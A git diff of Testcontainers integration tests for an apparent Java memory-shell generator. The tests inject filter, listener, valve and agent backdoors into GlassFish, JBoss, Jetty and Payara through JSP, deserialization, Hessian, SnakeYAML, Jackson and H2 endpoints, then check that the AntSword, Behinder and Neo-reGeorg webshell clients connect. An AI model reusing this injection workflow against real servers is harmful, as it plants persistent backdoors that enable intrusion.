appContainer.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout(); log.info("attach result: {}", stdout); @@ -136,13 +174,10 @@ public static void packerResultAndInject(MemShellResult generateResult, String u assertThat(stdout, anyOf( containsString("ok") )); - } else { - content = packer.getInstance().pack(generateResult.toClassPackerConfig()); - injectIsOk(url, shellType, shellTool, content, packer, appContainer); - log.info("send inject payload successfully"); } } + @SneakyThrows public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer appContainer, GenericContainer pythonContainer) { switch (shellTool) { @@ -174,7 +209,7 @@ public static void assertShellIsOk(MemShellResult generateResult, String shellUr private static void neoreGeorgIsOk(GenericContainer container, GenericContainer pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception { URL url = new URL(shellUrl); shellUrl = "http://app:" + container.getExposedPorts().stream().findFirst().get() + url.getPath(); - String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout(); + String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellUrl + "?" + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout(); log.info(stdout); assertTrue(stdout.contains("All seems fine")); } @@ -231,8 +266,8 @@ public static void antSwordIsOk(String entrypoint, AntSwordConfig shellConfig) { AntSwordManager antSwordManager = AntSwordManager.builder() .entrypoint(entrypoint) .pass(shellConfig.getPass()) - .header(shellConfig.getHeaderName() - , shellConfig.getHeaderValue()).build(); + .header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()) + .build(); assertTrue(antSwordManager.getInfo().contains("ok")); } @@ -291,8 +326,8 @@ public static ShellToolConfig getShellToolConfig(String shellType, String shellT return shellToolConfig; } - public static MemShellResult generate(String urlPattern, String server, String shellType, String shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) { - InjectorConfig injectorConfig = new InjectorConfig(); + public static MemShellResult generate(String urlPattern, String server, String serverVersin, String shellType, String shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) { + InjectorConfig injectorConfig = InjectorConfig.builder().staticInitialize(true).build(); if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); } @@ -304,6 +339,7 @@ public static MemShellResult generate(String urlPattern, String server, String s ShellConfig shellConfig = ShellConfig.builder() .server(server) + .serverVersion(serverVersin) .shellTool(shellTool) .shellType(shellType) .targetJreVersion(targetJdkVersion) @@ -357,11 +393,13 @@ public static void injectIsOk(String url, String shellType, String shellTool, St case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content); case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); + case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content); + case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content); default -> throw new IllegalStateException("Unexpected value: " + packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java b/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java index 7bc1da24..0de9f646 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/TestCasesProvider.java @@ -3,8 +3,8 @@ import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; +import org.apache.commons.lang3.tuple.Triple; import org.junit.jupiter.params.provider.Arguments; -import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; import java.util.*; import java.util.stream.Collectors; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index e153c9bb..31d9347a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -37,6 +37,7 @@ public static void uploadJspFileToServer(String uploadUrl, String filename, Stri .build(); Request request = new Request.Builder() .url(uploadUrl).post(requestBody) + .header("Referer", uploadUrl) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { System.out.println(response.body().string()); @@ -51,6 +52,7 @@ public static void postIsOk(String uploadUrl, String data) { .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", uploadUrl) .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { @@ -66,6 +68,7 @@ public static String post(String uploadUrl, String data) { .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") + .header("Referer", uploadUrl) .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index cb1f288f..e8b69f44 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -58,11 +58,13 @@ static void setup() { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java index 61ebc8a0..d5946783 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java @@ -58,11 +58,13 @@ static void setup() { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java index b3850344..90b2a35c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java @@ -51,17 +51,20 @@ public class GlassFish501ContainerTest { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java index 94a1b7d6..3b424ebc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java @@ -51,11 +51,13 @@ public class GlassFish510ContainerTest { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java index fcc221c3..20ea2f0b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java @@ -52,11 +52,13 @@ public class GlassFish6ContainerTest { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java index 3c752274..783623aa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java @@ -52,17 +52,20 @@ public class GlassFish7ContainerTest { static Stream casesProvider() { String server = Server.GlassFish; List supportedShellTypes = List.of( - ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java index 3cdd1fb7..4090ace7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java @@ -52,9 +52,14 @@ public class Jboss423ContainerTest { static Stream casesProvider() { String server = Server.JBoss; List supportedShellTypes = List.of( - ShellType.PROXY_VALVE + ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java index cbba497f..746de6a7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java @@ -58,7 +58,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java index 28d44d7b..5d980576 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java @@ -57,7 +57,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java index cd5c36de..5b6cee8b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java @@ -60,7 +60,7 @@ static Stream casesProvider() { ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java index 61ce1e72..2674f798 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java @@ -50,17 +50,22 @@ public class JbossEap6ContainerTest { static Stream casesProvider() { String server = Server.JBoss; - List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, + List supportedShellTypes = List.of( + ShellType.FILTER, + ShellType.LISTENER, ShellType.VALVE, ShellType.PROXY_VALVE, - ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + ); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java index 704aef83..85efdb2e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java @@ -51,17 +51,19 @@ public class JbossEap7ContainerTest { static Stream casesProvider() { String server = Server.Undertow; List supportedShellTypes = List.of( + ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index c24ff5a7..97c85518 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -51,10 +51,12 @@ public class Jetty10ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index f3db5925..b7d3b4bf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -57,7 +57,7 @@ static Stream casesProvider() { ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java new file mode 100644 index 00000000..0c61aaae --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.integration.memshell.jetty; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * @author ReaJason + * @since 2025/11/11 + */ +@Slf4j +@Testcontainers +public class Jetty12ee11ContainerTest { + public static final String imageName = "reajason/jetty:12.1-jre21-ee11"; + static Network network = Network.newNetwork(); + @Container + public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(neoGeorgDockerfile)) + .withNetwork(network); + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jettyPid, "/fetch_pid.sh") + .withNetwork(network) + .withNetworkAliases("app") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + String server = Server.Jetty; + List supportedShellTypes = List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.JETTY_AGENT_HANDLER + ); + List testPackers = List.of(Packers.Base64); + return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, + null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 91b3e70d..718a70c3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -63,6 +63,7 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java index cd3aee10..8f836769 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java @@ -51,10 +51,12 @@ public class Jetty61ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index 012ae76b..a7611d8d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -51,10 +51,12 @@ public class Jetty75ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java index 48ba4b73..e16acd1c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java @@ -51,10 +51,12 @@ public class Jetty76ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index c9061e4b..74b33994 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -51,10 +51,12 @@ public class Jetty81ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index 5d934571..4ca2cef9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -52,10 +52,12 @@ public class Jetty92ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index f33d4075..d531c056 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -51,10 +51,12 @@ public class Jetty93ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index cdaca8dd..2dcddd49 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -51,10 +51,12 @@ public class Jetty94ContainerTest { static Stream casesProvider() { String server = Server.Jetty; List supportedShellTypes = List.of( - ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); + List testPackers = List.of(Packers.JSP); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index 231d9aa3..1f2bb4f0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java +++ 